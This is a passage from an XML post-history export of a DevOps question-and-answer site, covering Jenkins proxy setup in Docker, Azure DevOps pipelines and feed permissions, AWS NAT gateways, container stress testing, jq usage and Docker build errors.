\&#xD;&#xA;    --env http_proxy=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env HTTPS_PROXY=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env https_proxy=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env JAVA_OPTS=&quot;-Dhttp.proxyHost=localhost -Dhttp.proxyPort=8080 -Dhttps.proxyHost=localhost -Dhttps.proxyPort=8080&quot; \&#xD;&#xA;    --env JENKINS_OPTS=&quot;--httpPort=7000&quot; \&#xD;&#xA;    -v /var/jenkins_home \&#xD;&#xA;    jenkins/jenkins:lts&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;Passing `--env JAVA_OPTS=&quot;-Djava.net.useSystemProxies=true&quot;` instead might work. I am not able to perform a try, though," ContentLicense="CC BY-SA 4.0" />
  <row Id="35699" PostHistoryTypeId="5" PostId="10887" RevisionGUID="38e0c6c9-7e35-4a1b-a7f0-ef1827b1da01" CreationDate="2020-05-20T18:04:20.123" UserId="22366" Comment="Added note on organization settings" Text="Very few people were viewing this thread, so afterwards I posted a duplicate question on [Stack Overflow][1], and now contains the answer. Below is a copy of it ...&#xD;&#xA;&#xD;&#xA;Finally, I found the problem.  I wonder if this is a bug, or just poorly documented....(or maybe I just didn't interpret it correctly).&#xD;&#xA;&#xD;&#xA;As per [Leo Lui-MSFT's suggestion][2] above (documented by Microsoft), I'd added the permissions to the NuGet feed, and this didn't work.  However, I was intrigued by his sentence:&#xD;&#xA;&#xD;&#xA;&gt; If you've changed your builds to run at project scope&#xD;&#xA;&#xD;&#xA;Personally, I hadn't, so I got with our System Administrator and we went through all the possible settings.  Eventually, we found it - it wasn't something I had the ability to change.&#xD;&#xA;&#xD;&#xA;So in my example above, BLUE and GREEN are the two projects that are trying to use the NuGet package in RED's Artifact feed.&#xD;&#xA;&#xD;&#xA;So picking BLUE (or GREEN), in the bottom left hand corner of Azure DevOps you'll see a link &quot;Project Settings&quot;.  Under &quot;Pipelines &gt; Settings&quot; there are four settings.  We had to change the following to be:    &#xD;&#xA;&#xD;&#xA;&gt; Limit job authorization scope to current project = false&#xD;&#xA;&#xD;&#xA;If the option is greyed out in the project, that's probably because it's enforced at organization level. In that case, you have to first change it in the organization, and *then change it in the project as well*.&#xD;&#xA;&#xD;&#xA;Hope that helps!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/60296233&#xD;&#xA;  [2]: https://stackoverflow.com/a/60315376/4640431" ContentLicense="CC BY-SA 4.0" />
  <row Id="35700" PostHistoryTypeId="24" PostId="10887" RevisionGUID="38e0c6c9-7e35-4a1b-a7f0-ef1827b1da01" CreationDate="2020-05-20T18:04:20.123" Comment="Proposed by 22366 approved by 40 edit id of 1204" ContentLicense="CC BY-SA 4.0" />
  <row Id="35701" PostHistoryTypeId="2" PostId="11660" RevisionGUID="57ad8f82-5afe-486c-a01d-a0d1c4279f2d" CreationDate="2020-05-21T08:43:58.500" UserId="22376" Text="I passed params to pipeline B and set the environment variables from parameters. However, `&quot;${params.URL}&quot;` is evaluated as null.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Pipeline A is declared in `Jenkinsfile`:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any    &#xD;&#xA;    &#xD;&#xA;        stages {&#xD;&#xA;            stage('Run on all repos') {&#xD;&#xA;             &#xD;&#xA;                steps { &#xD;&#xA;                    script {&#xD;&#xA;                        sh 'ls'&#xD;&#xA;                        build job: 'run-on-single-repo'&#xD;&#xA;                        parameters:&#xD;&#xA;                                [string(name:'URL', value:'val')]&#xD;&#xA;    }}}}}&#xD;&#xA;&#xD;&#xA;Pipeline B is declared in `run-on-single-repo.groovy`:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;    &#xD;&#xA;        stages {&#xD;&#xA;    &#xD;&#xA;            stage('Find missing dependencies') {&#xD;&#xA;                &#xD;&#xA;                environment {&#xD;&#xA;    &#xD;&#xA;                    URL = &quot;${params.URL}&quot;&#xD;&#xA;    &#xD;&#xA;                }&#xD;&#xA;    &#xD;&#xA;                steps { &#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Both pipelines are configured in Jenkins as 'Pipeline script from SCM' and work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How to pass environment variables from pipeline job A to pipeline job B?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35702" PostHistoryTypeId="1" PostId="11660" RevisionGUID="57ad8f82-5afe-486c-a01d-a0d1c4279f2d" CreationDate="2020-05-21T08:43:58.500" UserId="22376" Text="Pass environment variables from pipeline job A to pipeline job B" ContentLicense="CC BY-SA 4.0" />
  <row Id="35703" PostHistoryTypeId="3" PostId="11660" RevisionGUID="57ad8f82-5afe-486c-a01d-a0d1c4279f2d" CreationDate="2020-05-21T08:43:58.500" UserId="22376" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;&lt;environment-variables&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35704" PostHistoryTypeId="2" PostId="11661" RevisionGUID="4adc0444-a794-47de-91a8-970297e9dd31" CreationDate="2020-05-21T15:19:47.963" UserId="11995" Text="We have just migrated from TFS 2018 to Azure DevOps Services and we're having a hard time trying to figure out the new Azure YAML pipelines.&#xD;&#xA;&#xD;&#xA;We want to be able to:&#xD;&#xA;&#xD;&#xA; - Run a build/test pipeline when a PR is pushed to `develop`.  &#xD;&#xA;We've already accomplished this by creating a dedicated YAML pipeline that only builds and runs the tests (no publish artifact or anything). This pipeline is triggered by a &quot;Build Validation&quot; branch policy on the `develop` branch.&#xD;&#xA; - Run the full CI/CD pipeline that will build, test and deploy to DEV and QA environments when a commit is pushed to the `develop` branch.  &#xD;&#xA;We've already accomplished this by using a multi-stage pipeline triggered by any change in the branch. Although we're not entirely happy about the duplicated tasks here (this has exactly the same tasks to build and test the project as the above pipeline).&#xD;&#xA; - Deploy to our production-staging environment when a commit is pushed to the `master` branch.  &#xD;&#xA;We're stuck here. We're not sure how to do this without creating yet another new pipeline that will do exactly the same as the previous one, but targeting our staging environment. We want to &quot;build once, deploy many&quot;. This was easy using TFS build and release pipelines (I guess this is what Azure DevOps calls &quot;Classic Pipelines&quot;, right?)&#xD;&#xA;&#xD;&#xA;How we can accomplish this workflow without needing to create several similar YAML pipelines, but also following the &quot;build once, deploy many&quot; pattern?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35705" PostHistoryTypeId="1" PostId="11661" RevisionGUID="4adc0444-a794-47de-91a8-970297e9dd31" CreationDate="2020-05-21T15:19:47.963" UserId="11995" Text="How to properly setup a multi-environment release pipeline in Azure YAML pipelines?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35706" PostHistoryTypeId="3" PostId="11661" RevisionGUID="4adc0444-a794-47de-91a8-970297e9dd31" CreationDate="2020-05-21T15:19:47.963" UserId="11995" Text="&lt;azure-devops&gt;&lt;continuous-deployment&gt;&lt;azure-pipelines&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35707" PostHistoryTypeId="2" PostId="11662" RevisionGUID="e37fde5b-8f09-4b97-9a80-92f4d3d9513f" CreationDate="2020-05-21T15:21:07.180" UserId="22376" Text="The issue was missing comma between `build job` and `parameters`. Below is the correct syntax:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;                        build job: 'run-on-single-repo',&#xD;&#xA;                        parameters:&#xD;&#xA;    &#xD;&#xA;    ... &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35711" PostHistoryTypeId="5" PostId="11645" RevisionGUID="9805affe-bdcf-4fcf-a2a1-c3c852d2af01" CreationDate="2020-05-21T20:50:16.443" UserId="22312" Comment="added 139 characters in body; edited body" Text="I believe that the problem lies on your proxy environment variables.&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;$ docker run \&#xD;&#xA;    --name myjenkins \&#xD;&#xA;    -p 7000:8080 \&#xD;&#xA;    -p 50000:50000 \&#xD;&#xA;    --env HTTP_PROXY=&quot;http:// localhost:8080&quot; \&#xD;&#xA;    --env HTTPS_PROXY=&quot;https:// localhost:8080&quot; \&#xD;&#xA;    -v /var/jenkins_home \&#xD;&#xA;    jenkins&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;The values of `$HTTP_PROXY` and `$HTTP_PROXY` are not supposed to have space characters on them and the protocol should be `http`. Additionally, although setting `$HTTP_PROXY` is useful for compatibility with other applications running inside the container, `curl` expects the HTTP proxy environment variable to be written in lowercase, that is, `$http_proxy`. From [`curl (1)` manual page](https://linux.die.net/man/1/curl):&#xD;&#xA;&#xD;&#xA;&gt; ## Environment&#xD;&#xA;&gt; &#xD;&#xA;&gt; The environment variables can be specified in lower case or upper case. The lower case version has precedence. `http_proxy` is an exception as it is only available in lower case.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `http_proxy [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use for HTTP.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `HTTPS_PROXY [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use for HTTPS.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `FTP_PROXY [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use for FTP.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `ALL_PROXY [protocol://]&lt;host&gt;[:port]`&#xD;&#xA;&gt; Sets the proxy server to use if no protocol-specific proxy is set.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `NO_PROXY &lt;comma-separated list of hosts&gt;`&#xD;&#xA;&gt; list of host names that shouldn't go through any proxy. If set to a asterisk '*' only, it matches all hosts.&#xD;&#xA;&#xD;&#xA;Therefore the `docker run` command might be written as below:&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;$ docker run \&#xD;&#xA;    --name myjenkins \&#xD;&#xA;    -p 7000:8080 \&#xD;&#xA;    -p 50000:50000 \&#xD;&#xA;    --env HTTP_PROXY=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env http_proxy=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env HTTPS_PROXY=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env https_proxy=&quot;http://localhost:8080&quot; \&#xD;&#xA;    -v /var/jenkins_home \&#xD;&#xA;    jenkins&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;However, my solution will certainly not work because the port 8080 inside the container is being used by Jenkins and not by a HTTP proxy. Please, could you provide more information on how your work proxy is set up so I can edit my answer with more accurate details? Are you running a HTTP proxy such as `squid` or `cntlm` in your computer that receives requests from applications running in your workstation and forwards them to the corporate proxy after authentication? If so, you will need to adjust container's network configuration according to Stack Overflow question [From inside of a Docker container, how do I connect to the localhost of the machine?](https://stackoverflow.com/q/24319662).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**EDIT:** According to comments, a `cntlm` instance running locally on port `8080/tcp` provides a HTTP proxy service that local applications must use in order to access internet. I believe that the least complex way to expose it to Jenkins container is by specifying `--network=host` parameter and sharing [the root network namespace](https://lwn.net/Articles/580893/) with the Jenkins container. However, Jenkins is set to listen the port `8080/tcp` by default, therefore it must be instructed to listen to an alternative port, such as `7000/tcp`. That can be achieved by passing [`--httpPort=#` command line argument](https://stackoverflow.com/a/15265306) to Jenkins via [`JENKINS_OPTS` environment variable](https://github.com/jenkinsci/docker/blob/master/README.md#passing-jenkins-launcher-parameters).&#xD;&#xA;&#xD;&#xA;**EDIT 2:** While analyzing the [repository code](https://github.com/jenkinsci/docker/), I've realized that Jenkins is a Java application and I am not sure that JVM recognizes `$http_proxy` and `$https_proxy` environment variables properly. So, to ensure that Jenkins will use `cntlm` as HTTP proxy, I also suggest passing [proxy configuration properties](https://docs.oracle.com/javase/8/docs/api/java/net/doc-files/net-properties.html) to the JVM via the [`JAVA_OPTS` environment variable](https://github.com/jenkinsci/docker/blob/master/README.md#passing-jvm-parameters).&#xD;&#xA;&#xD;&#xA;**EDIT 3:** The Docker image [`jenkins`](https://hub.docker.com/_/jenkins) is deprecated in favor of the [`jenkins/jenkins:lts`](https://hub.docker.com/r/jenkins/jenkins) one. The former image is currently unmaintained and seems to contain a version that is outdated and incompatible with plugins being downloaded.&#xD;&#xA;&#xD;&#xA;To sum up, the `docker run` command have to be written as below for Jenkins to work in your environment:&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;$ docker run \&#xD;&#xA;    --name myjenkins \&#xD;&#xA;    --network=host \&#xD;&#xA;    --env HTTP_PROXY=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env http_proxy=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env HTTPS_PROXY=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env https_proxy=&quot;http://localhost:8080&quot; \&#xD;&#xA;    --env JAVA_OPTS=&quot;-Dhttp.proxyHost=localhost -Dhttp.proxyPort=8080 -Dhttps.proxyHost=localhost -Dhttps.proxyPort=8080&quot; \&#xD;&#xA;    --env JENKINS_OPTS=&quot;--httpPort=7000&quot; \&#xD;&#xA;    -v /var/jenkins_home \&#xD;&#xA;    jenkins/jenkins:lts&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;Passing `--env JAVA_OPTS=&quot;-Djava.net.useSystemProxies=true&quot;` instead might work. I am not able to perform a try, though." ContentLicense="CC BY-SA 4.0" />
  <row Id="35712" PostHistoryTypeId="5" PostId="11640" RevisionGUID="6c661e38-53e3-4c74-b921-595a500b7210" CreationDate="2020-05-21T21:12:17.027" UserId="9148" Comment="Added steps on using Declarative Directive Generator" Text="**EDIT:** Updating my answer to include steps on using the Declarative Directive Generator.&#xD;&#xA;&#xD;&#xA;You can experiment with the different available configuration options, and sometimes gets hints as to what certain settings provide. For this specific case:&#xD;&#xA;&#xD;&#xA; 1. Navigate to `&lt;$JENKINS_URL&gt;/directive-generator/`&#xD;&#xA; 2. Select `parameters: Parameters` from the **Sample Directive** drop-down.&#xD;&#xA; 3. Click the **Add** button and select `extendedChoice: Extended Choice Parameter`&#xD;&#xA; 4. Select `JSON Parameter Type` and then experiment with the available options.&#xD;&#xA; 5. When finished, click **Generate Declarative Directive** to generate the code block to paste into your pipeline.&#xD;&#xA;&#xD;&#xA;[![Using the Declarative Directive Generator][1]][1]&#xD;&#xA;&#xD;&#xA;You can add the `javascriptFile` parameter and change the `type` to `PT_JSON`.&#xD;&#xA;&#xD;&#xA;Using your example:&#xD;&#xA;&#xD;&#xA;    properties([&#xD;&#xA;        [$class: 'BuildDiscarderProperty', strategy: [$class: 'LogRotator', numToKeepStr: '500']],&#xD;&#xA;        parameters([extendedChoice( &#xD;&#xA;        defaultValue: 'One,Two,Three,Four', &#xD;&#xA;        description: '', &#xD;&#xA;        javascriptFile: '/path/to/file.json',&#xD;&#xA;        multiSelectDelimiter: ',', &#xD;&#xA;        name: 'SAMPLE_EXTENDED_CHOICE', &#xD;&#xA;        quoteValue: false, &#xD;&#xA;        saveJSONParameterToFile: false, &#xD;&#xA;        type: 'PT_JSON', &#xD;&#xA;        value:'One,Two,Three,Four,Five,Six,Seven,Eight,Nine,Ten', &#xD;&#xA;        visibleItemCount: 10)&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/HU20V.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="35713" PostHistoryTypeId="2" PostId="11664" RevisionGUID="99511bb4-13e3-43f2-b818-e05ba2ee2d6c" CreationDate="2020-05-22T01:58:34.423" UserId="22384" Text="I fumbled upon this question today as i was struggling with this error, the way credentials are get created in azure is way much better than this google, &#xD;&#xA;however i had added service account user through the gcp portal and my terraform was able to create test vm, hope this help." ContentLicense="CC BY-SA 4.0" />
  <row Id="35714" PostHistoryTypeId="2" PostId="11665" RevisionGUID="3a11eb47-6ec0-4f78-991b-d63e410a6fd3" CreationDate="2020-05-22T05:47:26.433" UserId="21893" Text="I have 2 NAT gateway attachment for 2 private subnets in AWS. is it possible to have one NAT gateway attachment for 2 private subets so that I can save one EIP?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35715" PostHistoryTypeId="1" PostId="11665" RevisionGUID="3a11eb47-6ec0-4f78-991b-d63e410a6fd3" CreationDate="2020-05-22T05:47:26.433" UserId="21893" Text="One NAT attachment for 2 private subnets" ContentLicense="CC BY-SA 4.0" />
  <row Id="35716" PostHistoryTypeId="3" PostId="11665" RevisionGUID="3a11eb47-6ec0-4f78-991b-d63e410a6fd3" CreationDate="2020-05-22T05:47:26.433" UserId="21893" Text="&lt;amazon-web-services&gt;&lt;aws-vpc&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35717" PostHistoryTypeId="6" PostId="5813" RevisionGUID="a8cb7ad6-a9a8-471c-81f0-5a400d241156" CreationDate="2020-05-22T07:33:01.547" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;cert-manager&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35721" PostHistoryTypeId="2" PostId="11667" RevisionGUID="dfc1679c-684f-43b2-9cf9-56bf1be3c435" CreationDate="2020-05-22T07:56:44.690" UserId="20101" Text="This is not a good practice. [AWS][1] docs explicitly mentions that &#xD;&#xA;&#xD;&#xA;&gt; Each NAT gateway is created in a specific Availability Zone and&#xD;&#xA;&gt; implemented with redundancy in that zone&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html&#xD;&#xA;&#xD;&#xA;That means that if all of your private subnets share traffic to a same NAT gateway, in case the AZ where the NAT is located goes down you are loosing your whole 'private environment'." ContentLicense="CC BY-SA 4.0" />
  <row Id="35722" PostHistoryTypeId="2" PostId="11668" RevisionGUID="3feb23b0-daef-4076-9a57-1bf125f0d168" CreationDate="2020-05-22T09:19:09.100" UserId="19083" Text="I want my container to die under high pressure to check monitoring and alerting as well as compose autorestarts. What is best way to simulate heavy load within docker container. I've tried so far&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;root@docker-vm:/# stress --vm 10 --vm-bytes 2048M --vm-hang 20&#xD;&#xA;stress: info: [238] dispatching hogs: 0 cpu, 0 io, 10 vm, 0 hdd&#xD;&#xA;stress: FAIL: [238] (415) &lt;-- worker 243 got signal 9&#xD;&#xA;stress: WARN: [238] (417) now reaping child worker processes&#xD;&#xA;stress: FAIL: [238] (451) failed run completed in 101s&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;for memory pressure (hoping OOM kill for host machine which has 4Gb of ram) and `stress --cpu 100 ` which is obviously not really harmful.&#xD;&#xA;&#xD;&#xA;Is there some tool to achieve that for docker or preferred approach I should use?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35723" PostHistoryTypeId="1" PostId="11668" RevisionGUID="3feb23b0-daef-4076-9a57-1bf125f0d168" CreationDate="2020-05-22T09:19:09.100" UserId="19083" Text="Stress testing for docker container" ContentLicense="CC BY-SA 4.0" />
  <row Id="35724" PostHistoryTypeId="3" PostId="11668" RevisionGUID="3feb23b0-daef-4076-9a57-1bf125f0d168" CreationDate="2020-05-22T09:19:09.100" UserId="19083" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35725" PostHistoryTypeId="2" PostId="11669" RevisionGUID="d9ae1530-1c40-4dbc-9d1e-4a8bd2c96602" CreationDate="2020-05-22T10:04:41.233" UserId="20398" Text="As for the tool kind of a thing, I think you're looking for something like [pumba](https://github.com/alexei-led/pumba)" ContentLicense="CC BY-SA 4.0" />
  <row Id="35730" PostHistoryTypeId="50" PostId="11396" RevisionGUID="bf2a1696-df7a-4f0c-a759-ebe2742aab70" CreationDate="2020-05-22T12:01:35.277" UserId="-1" />
  <row Id="35731" PostHistoryTypeId="50" PostId="4639" RevisionGUID="39315cc1-3728-4904-924c-1b1dc301c192" CreationDate="2020-05-22T14:07:55.807" UserId="-1" />
  <row Id="35732" PostHistoryTypeId="2" PostId="11671" RevisionGUID="9eafc682-236c-408e-92a4-1897cf7d8c72" CreationDate="2020-05-22T15:27:05.223" UserId="17329" Text="I am having troubles creating an object within specific api group it gets switced from alpha to beta, why? networking.istio.io/v1beta1 vs networking.istio.io/v1alpha3" ContentLicense="CC BY-SA 4.0" />
  <row Id="35733" PostHistoryTypeId="1" PostId="11671" RevisionGUID="9eafc682-236c-408e-92a4-1897cf7d8c72" CreationDate="2020-05-22T15:27:05.223" UserId="17329" Text="Istio Virtual service - enforce specific api version" ContentLicense="CC BY-SA 4.0" />
  <row Id="35734" PostHistoryTypeId="3" PostId="11671" RevisionGUID="9eafc682-236c-408e-92a4-1897cf7d8c72" CreationDate="2020-05-22T15:27:05.223" UserId="17329" Text="&lt;kubernetes&gt;&lt;istio&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35736" PostHistoryTypeId="52" PostId="11668" RevisionGUID="be0d0c68-4b75-461c-9769-5bc9be902d00" CreationDate="2020-05-22T17:22:25.990" />
  <row Id="35737" PostHistoryTypeId="5" PostId="2931" RevisionGUID="7bcb3f81-1e4d-4c32-8768-942ccc071378" CreationDate="2020-05-22T17:32:15.087" UserId="2845" Comment="Spelling/grammar corrections" Text="Ok tried to understand your problem exactly... This is what is happening:&#xD;&#xA;&#xD;&#xA;    $ echo '{&quot;value&quot;: &quot;New&quot;, &quot;onclick&quot;: &quot;CreateNewDoc()&quot;}' | jq | grep value&#xD;&#xA;    jq - commandline JSON processor [version 1.5-1-a5b5cbe]&#xD;&#xA;    Usage: jq [options] &lt;jq filter&gt; [file...]&#xD;&#xA;    [rest of output is omitted for brevity]&#xD;&#xA;&#xD;&#xA;The important thing to notice here is the usage line (emphasis is mine):&#xD;&#xA;&#xD;&#xA;&gt; Usage: jq [options] **&amp;lt;jq filter&amp;gt;** [file...]&#xD;&#xA;&#xD;&#xA;The filter is not optional, if you don't give one, jq tries to parse the rest of the command line as its filter and throws an error. A workaround for your case here is:&#xD;&#xA;&#xD;&#xA;    $ echo '{&quot;value&quot;: &quot;New&quot;, &quot;onclick&quot;: &quot;CreateNewDoc()&quot;}' | jq '.' | grep value&#xD;&#xA;      &quot;value&quot;: &quot;New&quot;,&#xD;&#xA;&#xD;&#xA;which indeed greps the &quot;value&quot; line as the filter passed is '.' - this just pretty prints the json content, but that's far from the best use of jq. If you wish to get only this line it would be better do:&#xD;&#xA;&#xD;&#xA;    $ echo '{&quot;value&quot;: &quot;New&quot;, &quot;onclick&quot;: &quot;CreateNewDoc()&quot;}' | jq '.value'&#xD;&#xA;    &quot;New&quot;&#xD;&#xA;&#xD;&#xA;If you wish to get the output without quotes then you can add add `-r` option to jq like so:&#xD;&#xA;&#xD;&#xA;    $ echo '{&quot;value&quot;: &quot;New&quot;, &quot;onclick&quot;: &quot;CreateNewDoc()&quot;}' | jq -r '.value'&#xD;&#xA;    New&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;from `jq --help`:&#xD;&#xA;&#xD;&#xA;&gt; -r     output raw strings, not JSON texts;&#xD;&#xA;&#xD;&#xA;that's a little introduction to jq, that's probably not enough to solve your problem at all but as you didn't specify your problem I can't help more than that." ContentLicense="CC BY-SA 4.0" />
  <row Id="35738" PostHistoryTypeId="50" PostId="6232" RevisionGUID="676d6f54-5df6-417e-9c82-62f968c9d375" CreationDate="2020-05-22T19:00:20.063" UserId="-1" />
  <row Id="35742" PostHistoryTypeId="50" PostId="6337" RevisionGUID="08a26a6a-7513-4c2c-8b98-5008ca3784d3" CreationDate="2020-05-22T20:06:00.640" UserId="-1" />
  <row Id="35743" PostHistoryTypeId="50" PostId="5422" RevisionGUID="5a8af3ef-3cb2-44b5-aeb4-6a8079b80993" CreationDate="2020-05-22T21:06:40.810" UserId="-1" />
  <row Id="35751" PostHistoryTypeId="2" PostId="11674" RevisionGUID="9eb507f0-c49c-4130-93a3-8cfae90b857d" CreationDate="2020-05-23T02:21:45.373" UserId="10129" Text="I am trying to build a python script that will build jobs externally but when I am executing it, throws 403 forbidden error for build jobs call other get APIs are working fine. Below is the python snippet.&#xD;&#xA;&#xD;&#xA;    j=jenkins.Jenkins('http://localhost:8080/login?from=%2F', 'admin', 'admin@123' )&#xD;&#xA;    &#xD;&#xA;    j.get_jobs();&#xD;&#xA;    &#xD;&#xA;    print(j.jobs_count());&#xD;&#xA;    &#xD;&#xA;    print(j.get_jobs());&#xD;&#xA;    &#xD;&#xA;    j.build_job('demo1');&#xD;&#xA;&#xD;&#xA;Jenkins details: I am able to create &amp; build jobs from UI successfully. My Jenkins version is 2.237.&#xD;&#xA;&#xD;&#xA;Other settings.&#xD;&#xA;&#xD;&#xA; - logged in user can do anything. Csrf protection is disabled.&#xD;&#xA;On the other hand my friend having the same script and version of Jenkins is able to build job." ContentLicense="CC BY-SA 4.0" />
  <row Id="35752" PostHistoryTypeId="1" PostId="11674" RevisionGUID="9eb507f0-c49c-4130-93a3-8cfae90b857d" CreationDate="2020-05-23T02:21:45.373" UserId="10129" Text="403 forbidden error on calling jenkins post api from python script" ContentLicense="CC BY-SA 4.0" />
  <row Id="35753" PostHistoryTypeId="3" PostId="11674" RevisionGUID="9eb507f0-c49c-4130-93a3-8cfae90b857d" CreationDate="2020-05-23T02:21:45.373" UserId="10129" Text="&lt;jenkins&gt;&lt;python&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35755" PostHistoryTypeId="5" PostId="11671" RevisionGUID="d464138e-4f80-4ccb-ae90-96bd76ec32df" CreationDate="2020-05-23T05:09:22.253" UserId="40" Comment="added 50 characters in body" Text="I am having troubles creating an object within specific api group it gets switced from alpha to beta, why? networking.istio.io/v1beta1 vs networking.istio.io/v1alpha3&#xD;&#xA;&#xD;&#xA;Note: I can control in the crd virtualservice." ContentLicense="CC BY-SA 4.0" />
  <row Id="35756" PostHistoryTypeId="2" PostId="11675" RevisionGUID="4e36a3c2-450a-4453-9b88-e6ede73288f6" CreationDate="2020-05-23T05:17:03.597" UserId="22397" Text="    PS D:\&gt;docker-compose up&#xD;&#xA;    Building app&#xD;&#xA;    Step 1/7 : FROM php:7.4-fpm-alpine&#xD;&#xA;    —&gt; 5ae58b49885c&#xD;&#xA;    Step 2/7 : RUN apk add --no-cache autoconf curl dpkg-dev dpkg freetype-dev file g++ gcc git icu-dev jpeg-dev libc-dev libmcrypt-dev libpng-dev libjpeg-turbo-dev libxml2-dev libzip-dev make mariadb-dev postgresql-dev pkgconf php7-dev re2c rsync unzip wget zlib-dev&#xD;&#xA;    ERROR: Service ‘app’ failed to build: Invalid signal: SIGQUIT&#xD;&#xA;&#xD;&#xA;Version: 19.03.8&#xD;&#xA;&#xD;&#xA;OS/Arch: windows/amd64&#xD;&#xA;&#xD;&#xA;Experimental: true&#xD;&#xA;&#xD;&#xA;Switching containers doesn’t help. What can I do or how to debug?&#xD;&#xA;&#xD;&#xA;Thank you." ContentLicense="CC BY-SA 4.0" />
  <row Id="35757" PostHistoryTypeId="1" PostId="11675" RevisionGUID="4e36a3c2-450a-4453-9b88-e6ede73288f6" CreationDate="2020-05-23T05:17:03.597" UserId="22397" Text="Failure to build with docker-compose: Invalid signal: SIGQUIT" ContentLicense="CC BY-SA 4.0" />
  <row Id="35758" PostHistoryTypeId="3" PostId="11675" RevisionGUID="4e36a3c2-450a-4453-9b88-e6ede73288f6" CreationDate="2020-05-23T05:17:03.597" UserId="22397" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35759" PostHistoryTypeId="5" PostId="11675" RevisionGUID="745f0a2e-497e-45e5-b73a-f8f057cc6846" CreationDate="2020-05-23T07:17:26.627" UserId="22397" Comment="added 1045 characters in body" Text="~~~&#xD;&#xA;PS D:\&gt;docker-compose up&#xD;&#xA;Building app&#xD;&#xA;Step 1/7 : FROM php:7.4-fpm-alpine&#xD;&#xA;—&gt; 5ae58b49885c&#xD;&#xA;Step 2/7 : RUN apk add --no-cache autoconf curl dpkg-dev dpkg freetype-dev file g++ gcc giticu-dev jpeg-dev libc-dev libmcrypt-dev libpng-dev libjpeg-turbo-dev libxml2-dev libzip-dev make mariadb-dev postgresql-dev pkgconf php7-dev re2c rsync unzip wget zlib-dev&#xD;&#xA;ERROR: Service ‘app’ failed to build: Invalid signal: SIGQUIT&#xD;&#xA;~~~&#xD;&#xA;Running:&#xD;&#xA;~~~&#xD;&#xA;docker run -ti 5ae58b49885c apk add --no-cache autoconf curl dpkg-dev dpkg freetype-dev file g++ gcc git icu-dev jpeg-dev libc-dev libmcrypt-dev libpng-dev libjpeg-turbo-dev libxml2-dev libzip-dev make mariadb-dev postgresql-dev pkgconf php7-dev re2c rsync unzip wget zlib-dev&#xD;&#xA;~~~&#xD;&#xA;seems to work except for the error at the end:&#xD;&#xA;~~~&#xD;&#xA;[...]&#xD;&#xA;OK: 392 MiB in 105 packages&#xD;&#xA;time=&quot;2020-05-23T11:54:06+05:00&quot; level=error msg=&quot;Error waiting for container: failed to shutdown container: container 4e49e4bb8234f213ed580978bc3a4f4cacff549f91affcf82783a2703f341ddb encountered an error during hcsshim::System::waitBackground: failure in a Windows system call: The virtual machine or container with the specified identifier is not running. (0xc0370110): subsequent terminate failed container 4e49e4bb8234f213ed580978bc3a4f4cacff549f91affcf82783a2703f341ddb encountered an error during hcsshim::System::waitBackground: failure in a Windows system call: The virtual machine or container with the specified identifier is not running. (0xc0370110)&quot;&#xD;&#xA;~~~&#xD;&#xA;Version: 19.03.8  &#xD;&#xA;OS/Arch: windows/amd64  &#xD;&#xA;Experimental: true&#xD;&#xA;&#xD;&#xA;Switching containers doesn’t help. What can 